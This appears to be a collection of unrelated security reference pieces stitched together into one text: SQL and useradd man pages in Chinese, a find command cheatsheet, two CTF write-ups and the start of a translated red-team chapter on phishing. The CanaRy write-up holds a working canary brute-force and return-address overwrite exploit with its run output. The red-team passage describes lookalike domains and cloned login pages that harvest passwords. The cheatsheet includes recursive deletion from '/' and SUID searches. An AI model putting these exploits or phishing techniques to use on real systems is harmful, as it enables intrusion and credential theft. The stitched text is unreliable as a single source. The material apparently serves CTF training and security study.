.\" auto-generated by docbook2man-spec $Revision: 1.1 $ .TH "ROLLBACK" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands" .SH NAME ROLLBACK \- 退出当前事务 .SH SYNOPSIS .sp .nf ROLLBACK [ WORK | TRANSACTION ] .sp .fi .SH "DESCRIPTION 描述" .PP \fBROLLBACK\fR 回卷当前事务并取消当前事务中的所有更新。 .SH "PARAMETERS 参数" .TP \fBWORK\fR .TP \fBTRANSACTION\fR 可选的键字。没有作用。 .SH "NOTES 注意" .PP 使用 COMMIT [\fBcommit\fR(7)] 语句将一次事务成功停止。 .PP 如果不在一个事务内部发出 ROLLBACK 不会有问题,但是将抛出一个警告信息。 .SH "EXAMPLES 例子" .PP 取消所有更改: .sp .nf ROLLBACK; .sp .fi .SH "COMPATIBILITY 兼容性" .PP SQL 标准只声明了两种形式 ROLLBACK 和 ROLLBACK WORK。否则完全兼容。 .SH "SEE ALSO 参见" BEGIN [\fBbegin\fR(7)], COMMIT [\fBcommit\fR(l)] .SH "译者" .B Postgresql 中文网站 .B 何伟平 <laser@pgsqldb.org>
sec-knowleage
## Time is not your friend (re, 200p) ### PL [ENG](#eng-version) Dostajemy [program](./re200) (elf), do zbadania, i rozpoczynamy analizę działania. Ciekawe w programie jest to, że czyta żadnych plików, ani nie chce nic od użytkownika, ani nie bierze żadnych parametrów z linii poleceń - po prostu sie wykonuje. Trzon programu opiera się na następującym kodzie: ```c++ bool test(int a1) { int v3 = a1; int v4 = 0; while (v3) { v1 = clock(); sleep(5); v4 += v3 % 10; if (clock() - v1 <= 19) { v3 *= 137; } v3 /= 10; } return v4 == 41; } int getint() { v0 = clock(); sleep(5); if (clock() - v0 > 19) result = 49000000; else result = 33000000; return result; } int main() { int v2 = 2; int v4 = 2; while(true) { int i; for ( i = 2; v4 - 1 >= i && v4 % i; ++i ); if (i == v4) { v0 = clock(); ++v2; sleep(3); if ( clock() - v0 <= 19 ) exit(0); if(getint() <= v2 && test(v4)) { printf("Well done\n", v4); break; } } v4++; } } ``` Widać masę bezsensownego kodu i sleepów. Ale przede wszystkim, co tu się dzieje? Program testuje liczby (w v4) od 2 do nieskończoności, aż znajdzie taką która mu się "podoba" (przechodzi dwa testy). Wtedy wypisuje "well done". Założyliśmy więć, że v4 jest flagą (całkiem słusznie). Pierwszym naszym krokiem było usunięcie wszystkich sleepów (jako że zachowanie kodu zależy od szybkości w kilku miejscach, zakładamy że poprawna ścieżka to ta gdzie kod wykonuje się długo), żeby przyśpieszyć kod do takiego stanu żeby kiedyś otrzymać v4. ```c++ bool test(int a1) { int v3 = a1; int v4 = 0; while (v3) { v1 = clock(); v4 += v3 % 10; v3 /= 10; } return v4 == 41; } int getint() { return 49000000; } int main() { int v2 = 2; int v4 = 2; while(true) { int i; for ( i = 2; v4 - 1 >= i && v4 % i; ++i ); if (i == v4) { ++v2; exit(0); if (getint() <= v2 && test(v4)) { printf("DCTF{%d}\n", v4); break; } } v4++; } } ``` Następnie patrzymy na działanie kodu. Po usunięciu sleepów kod robi dalej to co oryginał, ale szybciej. Myślimy więc jak go dalej przyśpieszyć. Na pewno rzuca się w oczy bezsensowna pętla for w mainie - do czego ona służy? Mając trochę doświadczenia, rozpoznajemy ją jako sprawdzanie czy liczba v4 jest pierwsza. Inwestujemy więc w pomocniczą funkcję sprawdzaącą to samo, ale znacznie szybciej (da się oczywiście lepiej, ale było i tak wystarczająco dobrze): ```c++ bool isprime(int number){ if(number == 2) return true; if(number % 2 == 0) return false; for(int i=3; (i*i)<=number; i+=2){ if(number % i == 0 ) return false; } return true; } ``` Kolejnym krokiem było zauważenie, warunek może być spełniony dopiero kiedy v2 > 49000000 - a, jak widać od razu po spojrzeniu na kod - v2 to ilość napotkanych na razie liczb pierwszych. Zamiast liczyć od zera do 49000000wej liczby pierwszej, możemy od razu podstawić pod v2 wartość 49000000, a pod v4 wartość 961748862 (v2-ta liczba pierwsza - 2, bo taka dokładnie relacja wiązała v2 i v4). Ostateczna wersja funkcji main (całe źródło [znajduje się tu](hack.cpp)) ```c++ int main() { int v2 = 49000000; // ndx liczby pierwszej int v4 = 961748862; // (v2-2)ta liczba pierwsza + 1 while(true) { int i; if (isprime(v4)) { v2++; if(getint() <= v2 && test(v4)) { printf("DCTF{%d}\n", v4); break; } } v4++; } } ``` W tym momencie możemy uruchomić nasz program bezpośrednio i poczekać kilka sekund aż wypluje flagę: DCTF{961749023} ### ENG version We get a [binary](./re200) (elf) to work with and we start with analysis of its behaviour. An interesting fact is that this binary does not read any files or input from use, nor does it take any command line parameters - it just executes. The core of the program is: ```c++ bool test(int a1) { int v3 = a1; int v4 = 0; while (v3) { v1 = clock(); sleep(5); v4 += v3 % 10; if (clock() - v1 <= 19) { v3 *= 137; } v3 /= 10; } return v4 == 41; } int getint() { v0 = clock(); sleep(5); if (clock() - v0 > 19) result = 49000000; else result = 33000000; return result; } int main() { int v2 = 2; int v4 = 2; while(true) { int i; for ( i = 2; v4 - 1 >= i && v4 % i; ++i ); if (i == v4) { v0 = clock(); ++v2; sleep(3); if ( clock() - v0 <= 19 ) exit(0); if(getint() <= v2 && test(v4)) { printf("Well done\n", v4); break; } } v4++; } } ``` There is a lot of useless code and sleeps. But most importantly: what does this code do? It tests numbers (in v4) starting from 2 to infinity until it finds a number it `likes` (passes two checks). Then prints `well done`. We assumed that the `v4` is a flag (a good assumption as it turned out). First step was to remove all sleeps (however since some parts of the code depend on the execution time, we assume that the correct execution path is the one that code uses when it runs longer) to speed up the code so that we can actually get `v4` in reasonable time. ```c++ bool test(int a1) { int v3 = a1; int v4 = 0; while (v3) { v1 = clock(); v4 += v3 % 10; v3 /= 10; } return v4 == 41; } int getint() { return 49000000; } int main() { int v2 = 2; int v4 = 2; while(true) { int i; for ( i = 2; v4 - 1 >= i && v4 % i; ++i ); if (i == v4) { ++v2; exit(0); if (getint() <= v2 && test(v4)) { printf("DCTF{%d}\n", v4); break; } } v4++; } } ``` Then we look at the code execution. After all sleeps are removed the code is still doing what it was, but now faster. We try to improve it even further. We notice a long loop in main - what does it do? With a little experience we recognize it as primarity check for v4. We make a function with the same goal, but much faster (of course we could do it even better, but this was sufficient): ```c++ bool isprime(int number){ if(number == 2) return true; if(number % 2 == 0) return false; for(int i=3; (i*i)<=number; i+=2){ if(number % i == 0 ) return false; } return true; } ``` Next step was to notice that the condition can be fulfilled only when v2 > 49000000 and as we see in the code the v2 counts prime numbers seen so far. Instead of counting from 0 to 49000000th prime number we can simply put 49000000 as value for v2 and 961748862 for v4 (this is the v2th prime number -2, since this was to relation between v2 and v4). Final version of the main function (whole source [is here](hack.cpp)) ```c++ int main() { int v2 = 49000000; // prime number index int v4 = 961748862; // (v2-2)th prime number + 1 while(true) { int i; if (isprime(v4)) { v2++; if(getint() <= v2 && test(v4)) { printf("DCTF{%d}\n", v4); break; } } v4++; } } ``` Now we can run the code and wait few seconds to get the flag: DCTF{961749023}
sec-knowleage
--- title: Find date: 2020-12-28 16:52:20 tags: - search - file - directory categories: - Linux Command intro: | This is a quick reference list of cheatsheet for linux find command, contains common options and examples. plugins: - copyCode --- Getting Started --------------- ### Usage ```shell script $ find [path...] [options] [expression] ``` Wildcard ```shell script $ find . -name "*.txt" $ find . -name "2020*.csv" $ find . -name "json_*" ``` ---- - [Regex reference](/regex) _(quickref.me)_ - [Find cheatsheet](https://gist.github.com/gr1ev0us/3a9b9d9dbdd38f6379288eb2686fc538) _(gist.github.com)_ ### Option Examples {.col-span-2} | Option | Example | Description | |-------------|-------------------------------------------|---------------------------------------------| | `-type` | find . -type d | Find only directories | | `-name` | find . -type f -name "*.txt" | Find file by name | | `-iname` | find . -type f -iname "hello" | Find file by name (case-insensitive) | | `-size` | find . -size +1G | Find files larger than 1G | | `-user` | find . -type d -user jack | Find jack's file | | `-regex` | find /var -regex '.\*/tmp/.\*[0-9]*.file' | Using Regex with find. See [regex](/regex) | | `-maxdepth` | find . -maxdepth 1 -name "a.txt" | In the current directory and subdirectories | | `-mindepth` | find / -mindepth 3 -maxdepth 5 -name pass | Between sub-directory level 2 and 4 | {.show-header} ### Type | | | |-----------|----------------------| | `-type d` | Directory | | `-type f` | File | | `-type l` | Symbolic link | | `-type b` | Buffered block | | `-type c` | Unbuffered character | | `-type p` | Named pipe | | `-type s` | Socket | ### Size | | | |-----------|---------------------------| | `-size b` | 512-byte blocks (default) | | `-size c` | Bytes | | `-size k` | Kilobytes | | `-size M` | Megabytes | | `-size G` | Gigabytes | | `-size T` | Terabytes _(only BSD)_ | | `-size P` | Petabytes _(only BSD)_ | ### Size +/- Find all bigger than 10MB files ```shell script $ find / -size +10M ``` Find all smaller than 10MB files ```shell script $ find / -size -10M ```` Find all files that are exactly 10M ```shell script $ find / -size 10M ``` Find Size between 100MB and 1GB ```shell script $ find / -size +100M -size -1G ``` The `+` and `-` prefixes signify greater than and less than, as usual. ### Names Find files using name in current directory ```shell script $ find . -name tecmint.txt ``` Find files under home directory ```shell script $ find /home -name tecmint.txt ``` Find files using name and ignoring case ```shell script $ find /home -iname tecmint.txt ``` Find directories using name ```shell script $ find / -type d -name tecmint ``` Find php files using name ```shell script $ find . -type f -name tecmint.php ``` Find all php files in directory ```shell script $ find . -type f -name "*.php" ``` ### Permissions Find the files whose permissions are 777. ```shell script $ find . -type f -perm 0777 -print ``` Find the files without permission 777. ```shell script $ find / -type f ! -perm 777 ``` Find SUID set files. ```shell script $ find / -perm /u=s ``` Find SGID set files. ```shell script $ find / -perm /g=s ``` Find Read Only files. ```shell script $ find / -perm /u=r ``` Find Executable files. ```shell script $ find / -perm /a=x ``` ### Owners and Groups Find single file based on user ```shell script $ find / -user root -name tecmint.txt ``` Find all files based on user ```shell script $ find /home -user tecmint ``` Find all files based on group ```shell script $ find /home -group developer ``` Find particular files of user ```shell script $ find /home -user tecmint -iname "*.txt" ``` ### Multiple filenames ```shell script {.wrap} $ find . -type f \( -name "*.sh" -o -name "*.txt" \) ``` Find files with `.sh` and `.txt` extensions ### Multiple dirs ```shell script {.wrap} $ find /opt /usr /var -name foo.scala -type f ``` Find files with multiple dirs ### Empty ```shell script $ find . -type d -empty ``` Delete all empty files in a directory ```shell script $ find . -type f -empty -delete ``` Find Date and Time ------------- ### Means {.col-span-2} | Option | Description | |---------|-----------------------------------------------------------------| | `atime` | access time (last time file <yel>opened</yel>) | | `mtime` | modified time (last time file <yel>contents was modified</yel>) | | `ctime` | changed time (last time file <yel>inode was changed</yel>) | #### Example | Option | Description | |-----------------|------------------------------------------------------------| | `-mtime +0` | Modified greater than 24 hours ago | | `-mtime 0` | Modified between now and 1 day ago | | `-mtime -1` | Modified less than 1 day ago (same as `-mtime 0`) | | `-mtime 1` | Modified between 24 and 48 hours ago | | `-mtime +1` | Modified more than 48 hours ago | | `-mtime +1w` | Last modified more than 1 week ago | | `-atime 0` | Last accessed between now and 24 hours ago | | `-atime +0` | Accessed more than 24 hours ago | | `-atime 1` | Accessed between 24 and 48 hours ago | | `-atime +1` | Accessed more than 48 hours ago | | `-atime -1` | Accessed less than 24 hours ago (same as `-atime 0`) | | `-ctime -6h30m` | File status changed within the last 6 hours and 30 minutes | ### Examples Find last 50 days modified files ```shell script $ find / -mtime 50 ``` find last 50 days accessed files ```shell script $ find / -atime 50 ``` find last 50-100 days modified files ```shell script $ find / -mtime +50 –mtime -100 ``` find changed files in last 1 hour ```shell script $ find / -cmin -60 ``` find modified files in last 1 hour ```shell script $ find / -mmin -60 ``` find accessed files in last 1 hour ```shell script $ find / -amin -60 ``` Find and {.cols-2} -------- ### Find and delete {.row-span-2} Find and remove multiple files ```shell script $ find . -type f -name "*.mp3" -exec rm -f {} \; ``` Find and remove single file ```shell script $ find . -type f -name "tecmint.txt" -exec rm -f {} \; ``` Find and delete 100mb files ```shell script $ find / -type f -size +100m -exec rm -f {} \; ``` Find specific files and delete ```shell script $ find / -type f -name *.mp3 -size +10m -exec rm {} \; ``` ### Find and replace Find all files and modify the content `const` to `let` ```shell script {.wrap} $ find ./ -type f -exec sed -i 's/const/let/g' {} \; ``` Find readable and writable files and modify the content `old` to `new` ```shell script {.wrap} $ find ./ -type f -readable -writable -exec sed -i "s/old/new/g" {} \; ``` See also: [sed cheatsheet](/sed) ### Find and rename Find and suffix (added `.bak`) ```shell script {.wrap} $ find . -type f -name 'file*' -exec mv {} {}.bak\; ``` Find and rename extension (`.html` => `.gohtml`) ```shell script {.wrap} $ find ./ -depth -name "*.html" -exec sh -c 'mv "$1" "${1%.html}.gohtml"' _ {} \; ``` ### Find and move ```shell script $ find . -name '*.mp3' -exec mv {} /tmp/music \; ``` Find and move it to a specific directory (`/tmp/music`) ### Find and copy ```shell script $ find . -name '*2020*.xml' -exec cp -r "{}" /tmp/backup \; ``` Find matching files and copy to a specific directory (`/tmp/backup`) ### Find and concatenate Merge all csv files in the download directory into `merged.csv` ```shell script $ find download -type f -iname '*.csv' | xargs cat > merged.csv ``` Merge all sorted csv files in the download directory into `merged.csv` ```shell script {.wrap} $ find download -type f -iname '*.csv' | sort | xargs cat > merged.csv ``` ### Find and sort Find and sort in ascending ```shell script $ find . -type f | sort ``` find and sort descending ```shell script $ find . -type f | sort -r ``` ### Find and chmod {.row-span-1} Find files and set permissions to 644. ```shell script $ find / -type f -perm 0777 -print -exec chmod 644 {} \; ``` Find directories and set permissions to 755. ```shell script $ find / -type d -perm 777 -print -exec chmod 755 {} \; ``` ### Find and compress Find all `.java` files and compress it into `java.tar` ```shell script $ find . -type f -name "*.java" | xargs tar cvf java.tar ``` Find all `.csv` files and compress it into `quickref.zip` ```shell script $ find . -type f -name "*.csv" | xargs zip quickref.zip ```
sec-knowleage
useradd === 创建的新的系统用户 ## 补充说明 **useradd命令** 用于Linux中创建的新的系统用户。useradd可用来建立用户帐号。帐号建好之后,再用passwd设定帐号的密码.而可用userdel删除帐号。使用useradd指令所建立的帐号,实际上是保存在`/etc/passwd`文本文件中。 在Slackware中,adduser指令是个script程序,利用交谈的方式取得输入的用户帐号资料,然后再交由真正建立帐号的useradd命令建立新用户,如此可方便管理员建立用户帐号。在Red Hat Linux中, **adduser命令** 则是useradd命令的符号连接,两者实际上是同一个指令。 ### 语法 ```shell useradd(选项)(参数) ``` ### 选项 ```shell -b, --base-dir BASE_DIR # 如果未指定 -d HOME_DIR,则系统的默认基本目录。如果未指定此选项,useradd 将使用 /etc/default/useradd 中的 HOME 变量指定的基本目录,或默认使用 /home。 -c, --comment COMMENT # 加上备注文字。任何文本字符串。它通常是对登录名的简短描述,目前用作用户全名的字段。 -d, --home HOME_DIR # 将使用 HOME_DIR 作为用户登录目录的值来创建新用户。 -D, --defaults # 变更预设值。 -e, --expiredate EXPIRE_DATE # 用户帐户将被禁用的日期。 日期以 YYYY-MM-DD 格式指定。 -f, --inactive INACTIVE # 密码过期后到帐户被永久禁用的天数。 -g, --gid GROUP # 用户初始登录组的组名或编号。组名必须存在。组号必须引用已经存在的组。 -G, --groups GROUP1[,GROUP2,...[,GROUPN]]] # 用户也是其成员的补充组列表。每个组用逗号隔开,中间没有空格。 -h, --help # 显示帮助信息并退出。 -k, --skel SKEL_DIR # 骨架目录,其中包含要在用户的主目录中复制的文件和目录,当主目录由 useradd 创建时。 -K, --key KEY=VALUE # 覆盖 /etc/login.defs 默认值(UID_MIN、UID_MAX、UMASK、PASS_MAX_DAYS 等)。 -l, --no-log-init # 不要将用户添加到 lastlog 和 faillog 数据库。 -m, --create-home # 如果用户的主目录不存在,则创建它。 -M # 不要创建用户的主目录,即使 /etc/login.defs (CREATE_HOME) 中的系统范围设置设置为 yes。 -N, --no-user-group # 不要创建与用户同名的组,而是将用户添加到由 -g 选项或 /etc/default/useradd 中的 GROUP 变量指定的组中。 -o, --non-unique # 允许创建具有重复(非唯一)UID 的用户帐户。 此选项仅在与 -o 选项结合使用时有效。 -p, --password PASSWORD # crypt(3) 返回的加密密码。 默认是禁用密码。 -r, --system # 创建一个系统帐户。 -s, --shell SHELL # 用户登录 shell 的名称。 -u, --uid UID # 用户 ID 的数值。 -U, --user-group # 创建一个与用户同名的组,并将用户添加到该组。 -Z, --selinux-user SEUSER # 用户登录的 SELinux 用户。 默认情况下将此字段留空,这会导致系统选择默认的 SELinux 用户。 # 更改默认值 # 当仅使用 -D 选项调用时,useradd 将显示当前默认值。 当使用 -D 和其他选项调用时,useradd 将更新指定选项的默认值。 有效的默认更改选项是: ``` ### 参数 用户名:要创建的用户名。 ### 退出值 `useradd` 命令以以下值退出: ```shell 0 成功 1 无法更新密码文件 2 无效的命令语法 3 选项的无效参数 4 UID 已经在使用(并且没有 -o) 6 指定的组不存在 9 用户名已被使用 10 无法更新组文件 12 无法创建主目录 13 无法创建邮件假脱机 14 无法更新 SELinux 用户映射 ``` ### 文件 ```shell /etc/passwd # 用户帐户信息。 /etc/shadow # 保护用户帐户信息。 /etc/group # 组帐户信息。 /etc/gshadow # 保护组帐户信息。 /etc/default/useradd # 帐户创建的默认值。 /etc/skel/ # 包含默认文件的目录。 /etc/login.defs # 影子密码套件配置。 ``` ### 实例 新建用户加入组: ```shell useradd –g sales jack –G company,employees # -g:加入主要组、-G:加入次要组 ``` 建立一个新用户账户,并设置ID: ```shell useradd caojh -u 544 ``` 需要说明的是,设定ID值时尽量要大于500,以免冲突。因为Linux安装后会建立一些特殊用户,一般0到499之间的值留给bin、mail这样的系统账号。 新建一个普通用户: ```shell useradd lutixia ``` 新建一个系统用户,系统用户一般用于管理服务,无需登录,所以分配nologin,限制其登录系统: ```shell useradd -r -s /sbin/nologin mq ``` 修改创建用户的默认参数,设置密码过期后到永久禁用的不活动时间为30天: ```shell useradd -D -f 30 ```
sec-knowleage
# CanaRy Binary Exploitation, 300 points ## Description: > This time we added a canary to detect buffer overflows. Can you still find a way to retreive the flag from this program? ```c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include <wchar.h> #include <locale.h> #define BUF_SIZE 32 #define FLAG_LEN 64 #define KEY_LEN 4 void display_flag() { char buf[FLAG_LEN]; FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("'flag.txt' missing in the current directory!\n"); exit(0); } fgets(buf,FLAG_LEN,f); puts(buf); fflush(stdout); } char key[KEY_LEN]; void read_canary() { FILE *f = fopen("/problems/canary_6_c4c3b4565f3c8c0c855907b211b63efe/canary.txt","r"); if (f == NULL) { printf("[ERROR]: Trying to Read Canary\n"); exit(0); } fread(key,sizeof(char),KEY_LEN,f); fclose(f); } void vuln(){ char canary[KEY_LEN]; char buf[BUF_SIZE]; char user_len[BUF_SIZE]; int count; int x = 0; memcpy(canary,key,KEY_LEN); printf("Please enter the length of the entry:\n> "); while (x<BUF_SIZE) { read(0,user_len+x,1); if (user_len[x]=='\n') break; x++; } sscanf(user_len,"%d",&count); printf("Input> "); read(0,buf,count); if (memcmp(canary,key,KEY_LEN)) { printf("*** Stack Smashing Detected *** : Canary Value Corrupt!\n"); exit(-1); } printf("Ok... Now Where's the Flag?\n"); fflush(stdout); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); int i; gid_t gid = getegid(); setresgid(gid, gid, gid); read_canary(); vuln(); return 0; } ``` ## Solution: This challenge is similar to last year's [buffer overflow 3](/2018_picoCTF/buffer%20overflow%203.md). We can brute-force the canary byte-by-byte just like last year. ```python # First, generate a pwntools template using: # pwn template --host 2019shell1.picoctf.com --user dvdalt --path /problems/canary_6_c4c3b4565f3c8c0c855907b211b63efe/vuln #=========================================================== # EXPLOIT GOES HERE #=========================================================== # Arch: i386-32-little # RELRO: Full RELRO # Stack: No canary found # NX: NX enabled # PIE: PIE enabled import os import string if shell is not None: shell.set_working_directory(os.path.dirname(remote_path)) BUF_SIZE = 32 FLAG_LEN = 64 KEY_LEN = 4 FILLER_LEN = BUF_SIZE + KEY_LEN def brute_force_canary(): canary = "" for i in range(KEY_LEN): for c in string.ascii_letters + string.digits: with context.local(log_level='ERROR'): try: io = start() io.sendlineafter("Please enter the length of the entry:\n> ", str(BUF_SIZE + len(canary) + 1)) io.sendlineafter("Input> ", fit({BUF_SIZE: canary + c})) response = io.recvline() if "Stack Smashing Detected" in response: continue canary += c break finally: io.close() else: raise Exception("Can't find canary") return canary def send_payload(proc, payload, canary): assert(len(canary) == KEY_LEN) proc.sendlineafter("Please enter the length of the entry:\n> ", str(FILLER_LEN + len(payload))) proc.sendafter("Input> ", ('A' * BUF_SIZE) + (canary) + payload) def get_overflow_offset(canary): # It's problematic to create a core dump on an NTFS file system, # so reconfigure core dumps to be created elsewhere os.system("echo ~/core/core_dump > /proc/sys/kernel/core_pattern") os.system("rm core.* > /dev/null") proc = process(exe.path) payload = cyclic(100, n = exe.bytes) send_payload(proc, payload, canary) proc.wait() offset = cyclic_find(proc.corefile.fault_addr, n = exe.bytes ) log.info("Overflow offset: {} ({}-byte architecture)".format(offset, exe.bytes)) return offset canary = brute_force_canary() log.info("Canary: {}".format(canary)) overflow_offset = get_overflow_offset(canary) response = "" payload = fit({overflow_offset: p16(exe.symbols["display_flag"])}, filler = 'B') log.info("Sending payload: \n{}".format(hexdump(payload))) while "pico" not in response: io = start() send_payload(io, payload, canary) response = io.recvall() print response ``` Output: ```console root@kali:/media/sf_CTFs/pico/CanaRy# python exploit.py [*] '/media/sf_CTFs/pico/CanaRy/vuln' Arch: i386-32-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled [+] Connecting to 2019shell1.picoctf.com on port 22: Done [*] dvdalt@2019shell1.picoctf.com: Distro Ubuntu 18.04 OS: linux Arch: amd64 Version: 4.15.0 ASLR: Enabled [+] Opening new channel: 'pwd': Done [+] Receiving all data: Done (13B) [*] Closed SSH channel with 2019shell1.picoctf.com [*] Working directory: '/tmp/tmp.fCS9EiLuRM' [+] Opening new channel: 'ln -s /home/dvdalt/* .': Done [+] Receiving all data: Done (0B) [*] Closed SSH channel with 2019shell1.picoctf.com [*] Working directory: '/problems/canary_6_c4c3b4565f3c8c0c855907b211b63efe' [*] Canary: wrvW [+] Starting local process '/media/sf_CTFs/pico/CanaRy/vuln': pid 8295 [*] Process '/media/sf_CTFs/pico/CanaRy/vuln' stopped with exit code -11 (SIGSEGV) (pid 8295) [+] Parsing corefile...: Done [*] '/media/sf_CTFs/pico/CanaRy/core.8295' Arch: i386-32-little EIP: 0x61616165 ESP: 0xffb65e10 Exe: '/media/sf_CTFs/pico/CanaRy/vuln' (0x565d1000) Fault: 0x61616165 [*] Overflow offset: 16 (4-byte architecture) [*] Sending payload: 00000000 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 │BBBB│BBBB│BBBB│BBBB│ 00000010 ed 07 │··│ 00000012 [+] Starting remote process '/problems/canary_6_c4c3b4565f3c8c0c855907b211b63efe/vuln' on 2019shell1.picoctf.com: pid 1225421 [+] Receiving all data: Done (28B) [*] Stopped remote process 'vuln' on 2019shell1.picoctf.com (pid 1225421) [+] Starting remote process '/problems/canary_6_c4c3b4565f3c8c0c855907b211b63efe/vuln' on 2019shell1.picoctf.com: pid 1225619 [+] Receiving all data: Done (28B) [*] Stopped remote process 'vuln' on 2019shell1.picoctf.com (pid 1225619) [+] Starting remote process '/problems/canary_6_c4c3b4565f3c8c0c855907b211b63efe/vuln' on 2019shell1.picoctf.com: pid 1225709 [+] Receiving all data: Done (28B) [*] Stopped remote process 'vuln' on 2019shell1.picoctf.com (pid 1225709) [+] Starting remote process '/problems/canary_6_c4c3b4565f3c8c0c855907b211b63efe/vuln' on 2019shell1.picoctf.com: pid 1225806 [+] Receiving all data: Done (28B) [*] Stopped remote process 'vuln' on 2019shell1.picoctf.com (pid 1225806) [+] Starting remote process '/problems/canary_6_c4c3b4565f3c8c0c855907b211b63efe/vuln' on 2019shell1.picoctf.com: pid 1225908 [+] Receiving all data: Done (28B) [*] Stopped remote process 'vuln' on 2019shell1.picoctf.com (pid 1225908) [+] Starting remote process '/problems/canary_6_c4c3b4565f3c8c0c855907b211b63efe/vuln' on 2019shell1.picoctf.com: pid 1226017 [+] Receiving all data: Done (28B) [*] Stopped remote process 'vuln' on 2019shell1.picoctf.com (pid 1226017) [+] Starting remote process '/problems/canary_6_c4c3b4565f3c8c0c855907b211b63efe/vuln' on 2019shell1.picoctf.com: pid 1226294 [+] Receiving all data: Done (28B) [*] Stopped remote process 'vuln' on 2019shell1.picoctf.com (pid 1226294) [+] Starting remote process '/problems/canary_6_c4c3b4565f3c8c0c855907b211b63efe/vuln' on 2019shell1.picoctf.com: pid 1226383 [+] Receiving all data: Done (28B) [*] Stopped remote process 'vuln' on 2019shell1.picoctf.com (pid 1226383) [+] Starting remote process '/problems/canary_6_c4c3b4565f3c8c0c855907b211b63efe/vuln' on 2019shell1.picoctf.com: pid 1226470 [+] Receiving all data: Done (28B) [*] Stopped remote process 'vuln' on 2019shell1.picoctf.com (pid 1226470) [+] Starting remote process '/problems/canary_6_c4c3b4565f3c8c0c855907b211b63efe/vuln' on 2019shell1.picoctf.com: pid 1226558 [+] Receiving all data: Done (28B) [*] Stopped remote process 'vuln' on 2019shell1.picoctf.com (pid 1226558) [+] Starting remote process '/problems/canary_6_c4c3b4565f3c8c0c855907b211b63efe/vuln' on 2019shell1.picoctf.com: pid 1226645 [+] Receiving all data: Done (28B) [*] Stopped remote process 'vuln' on 2019shell1.picoctf.com (pid 1226645) [+] Starting remote process '/problems/canary_6_c4c3b4565f3c8c0c855907b211b63efe/vuln' on 2019shell1.picoctf.com: pid 1226734 [+] Receiving all data: Done (28B) [*] Stopped remote process 'vuln' on 2019shell1.picoctf.com (pid 1226734) [+] Starting remote process '/problems/canary_6_c4c3b4565f3c8c0c855907b211b63efe/vuln' on 2019shell1.picoctf.com: pid 1226834 [+] Receiving all data: Done (28B) [*] Stopped remote process 'vuln' on 2019shell1.picoctf.com (pid 1226834) [+] Starting remote process '/problems/canary_6_c4c3b4565f3c8c0c855907b211b63efe/vuln' on 2019shell1.picoctf.com: pid 1227009 [+] Receiving all data: Done (28B) [*] Stopped remote process 'vuln' on 2019shell1.picoctf.com (pid 1227009) [+] Starting remote process '/problems/canary_6_c4c3b4565f3c8c0c855907b211b63efe/vuln' on 2019shell1.picoctf.com: pid 1227098 [+] Receiving all data: Done (28B) [*] Stopped remote process 'vuln' on 2019shell1.picoctf.com (pid 1227098) [+] Starting remote process '/problems/canary_6_c4c3b4565f3c8c0c855907b211b63efe/vuln' on 2019shell1.picoctf.com: pid 1227187 [+] Receiving all data: Done (28B) [*] Stopped remote process 'vuln' on 2019shell1.picoctf.com (pid 1227187) [+] Starting remote process '/problems/canary_6_c4c3b4565f3c8c0c855907b211b63efe/vuln' on 2019shell1.picoctf.com: pid 1227281 [+] Receiving all data: Done (28B) [*] Stopped remote process 'vuln' on 2019shell1.picoctf.com (pid 1227281) [+] Starting remote process '/problems/canary_6_c4c3b4565f3c8c0c855907b211b63efe/vuln' on 2019shell1.picoctf.com: pid 1227472 [+] Receiving all data: Done (71B) [*] Stopped remote process 'vuln' on 2019shell1.picoctf.com (pid 1227472) Ok... Now Where's the Flag? picoCTF{cAnAr135_mU5t_b3_r4nd0m!_40765d8a} ```
sec-knowleage
# 第5章 助攻——社会工程学攻击 > 译者:[@Snowming](https://github.com/Snowming04) ![](../images/chapter_5/5-1.png) ## 开始社会工程学攻击行动 作为红队队员,我们钟爱社会工程学攻击。不仅因为它通常包含低技能攻击,而且因为它也很容易以非常低的成本来策划一场值得我们高度信赖的战役。只需设置几个假域名、服务器、策划一些电子邮件、假装丢掉一些 bad USB,然后就可以结束一天的工作了。 > 译者注: 这里提到的低技能攻击, 原文是 low skillset attacks,我的理解是无需太多技能的攻击,比如踩点、垃圾收集...... 在衡量的指标方面,我们一般用捕捉到的明显的信息,例如发送的电子邮件数量、点击了钓鱼链接的用户数量以及键入密码的用户数量。我们也试图发挥创意,为雇用我们的公司带来实质性价值。这方面的一个例子是 DefCon 会议举办的的社会工程学竞赛,在这个竞赛中参赛选手要通过社工的方式来入侵公司和雇员。如果你不熟悉这个竞赛的话,那我简略地介绍一下:参赛选手们需要在有限的时间内针对目标公司找到一些 flag。通过获取公司信息,如他们的 VPN 、他们使用的杀毒软件类型、员工的特定信息或让员工访问钓鱼 URL 等方法,可以捕获 flag。如果你想查看比赛中的使用的所有 flag,请查看2017年的比赛报告:http://bit.ly/2HlctvY 。 这些类型的攻击可以通过教导员工学会发现恶意行动并向相关负责团队报告从而帮助公司提高内部安全意识。 在本章中,我们将粗浅的接触一些用来进行社会工程学攻击的工具和技术。对于社会工程学攻击,没有正确或错误的答案。只要能发挥作用,在我们的书里就是好的。 ### 近似域名(Doppelganger Domain) 在上本书中我们讲了很多关于近似域名的内容。如今近似域名仍然是获取初始凭证或者植入恶意软件的最成功方法之一。最常用的技术是购买一个与目标公司的URL非常相似的域名,或者是目标公司 URL 的一个常见拼写错误的域名。 在上一本书中,我们举了一个例子,如果我们的目标公司有 mail.cyberspacekittens.com 这个域名,我们将购买 mailcyberspacekittens.com 这个域名,并设置一个假的 Outlook 页面来获取登录凭证。当受害者进入假网站并输入密码时,我们会收集这些数据并将其重定向到公司的有效电子邮件服务器(mail.cyberspacekittens.com)。这给受害者留下这样的印象:他们只是第一次意外地输错了密码,因此,再次输入正确密码并登录他们的帐户。 这种方法最巧妙地一点是你甚至不用做任何网络钓鱼的操作。因为有些人就是会打错域名或者手误漏掉 “mail” 和 “cyberspacekittens” 之间的点(.),然后进入了错误的网页并输入他们的登录凭证。我们会提示让受害者把我们的恶意网站添加为书签,这样可以让受害者每天都访问我们的恶意网页。 ### 如何克隆验证页面 快速克隆Web应用程序登录验证页的最佳工具之一是 TrustedSec 公司开发的社会工程学工具包(Social Engineering Toolkit,简称 